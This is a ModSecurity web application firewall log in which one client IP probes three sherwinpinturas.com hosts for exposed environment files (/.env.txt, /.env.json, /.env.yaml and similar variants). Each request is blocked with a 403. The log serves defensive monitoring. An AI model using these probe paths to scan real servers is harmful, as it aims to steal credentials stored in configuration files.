[Sun Oct 25 02:18:55.313494 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT3qPPT_6tJCMTRvt-wAAAAs"]
[Sun Oct 25 02:18:55.313815 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT3qPPT_6tJCMTRvt-wAAAAs"]
[Sun Oct 25 02:18:55.314207 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT3qPPT_6tJCMTRvt-wAAAAs"]
[Sun Oct 25 02:18:55.319628 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fT1yqe9jgJ5nfJHB7UQAAAAo"]
[Sun Oct 25 02:18:55.319886 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fT1yqe9jgJ5nfJHB7UQAAAAo"]
[Sun Oct 25 02:18:55.320204 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fT1yqe9jgJ5nfJHB7UQAAAAo"]
[Sun Oct 25 02:18:55.382081 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT1TnwNJm6o1fQZIhSgAAAAI"]
[Sun Oct 25 02:18:55.382402 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT1TnwNJm6o1fQZIhSgAAAAI"]
[Sun Oct 25 02:18:55.382823 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT1TnwNJm6o1fQZIhSgAAAAI"]
[Sun Oct 25 02:18:55.553882 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT1yqe9jgJ5nfJHB7UgAAAAo"]
[Sun Oct 25 02:18:55.554181 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT1yqe9jgJ5nfJHB7UgAAAAo"]
[Sun Oct 25 02:18:55.554585 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT1yqe9jgJ5nfJHB7UgAAAAo"]
[Sun Oct 25 02:18:55.555765 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fT3qPPT_6tJCMTRvt_AAAAAs"]
[Sun Oct 25 02:18:55.555930 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fT3qPPT_6tJCMTRvt_AAAAAs"]
[Sun Oct 25 02:18:55.556233 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fT3qPPT_6tJCMTRvt_AAAAAs"]
[Sun Oct 25 02:18:55.628708 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fT1TnwNJm6o1fQZIhSwAAAAI"]
[Sun Oct 25 02:18:55.628994 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fT1TnwNJm6o1fQZIhSwAAAAI"]
[Sun Oct 25 02:18:55.629357 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fT1TnwNJm6o1fQZIhSwAAAAI"]
[Sun Oct 25 02:18:55.785846 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT3qPPT_6tJCMTRvt_QAAAAs"]
[Sun Oct 25 02:18:55.812386 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT3qPPT_6tJCMTRvt_QAAAAs"]
[Sun Oct 25 02:18:55.812820 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT3qPPT_6tJCMTRvt_QAAAAs"]
[Sun Oct 25 02:18:55.786823 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT1yqe9jgJ5nfJHB7UwAAAAo"]
[Sun Oct 25 02:18:55.813452 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT1yqe9jgJ5nfJHB7UwAAAAo"]
[Sun Oct 25 02:18:55.813727 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at2fT1yqe9jgJ5nfJHB7UwAAAAo"]
[Sun Oct 25 02:18:55.864725 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT1TnwNJm6o1fQZIhTAAAAAI"]
[Sun Oct 25 02:18:55.865033 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT1TnwNJm6o1fQZIhTAAAAAI"]
[Sun Oct 25 02:18:55.865447 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT1TnwNJm6o1fQZIhTAAAAAI"]
[Sun Oct 25 02:18:55.865507 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT1TnwNJm6o1fQZIhTAAAAAI"]
[Sun Oct 25 02:18:55.865523 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fT1TnwNJm6o1fQZIhTAAAAAI"]
[Sun Oct 25 02:18:56.040283 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fUFyqe9jgJ5nfJHB7VAAAAAo"]
[Sun Oct 25 02:18:56.040564 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fUFyqe9jgJ5nfJHB7VAAAAAo"]
[Sun Oct 25 02:18:56.040863 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2fUFyqe9jgJ5nfJHB7VAAAAAo"]
[Sun Oct 25 02:18:56.166939 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUHqPPT_6tJCMTRvt_gAAAAs"]
[Sun Oct 25 02:18:56.177655 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUHqPPT_6tJCMTRvt_gAAAAs"]
[Sun Oct 25 02:18:56.178037 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUHqPPT_6tJCMTRvt_gAAAAs"]
[Sun Oct 25 02:18:56.167022 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUFTnwNJm6o1fQZIhTQAAAAI"]
[Sun Oct 25 02:18:56.178522 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUFTnwNJm6o1fQZIhTQAAAAI"]
[Sun Oct 25 02:18:56.178798 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at2fUFTnwNJm6o1fQZIhTQAAAAI"]
[Sun Oct 25 02:18:56.312330 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fUFyqe9jgJ5nfJHB7VQAAAAo"]
[Sun Oct 25 02:18:56.312687 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at2fUFyqe9jgJ5nfJHB7VQAAAAo"]
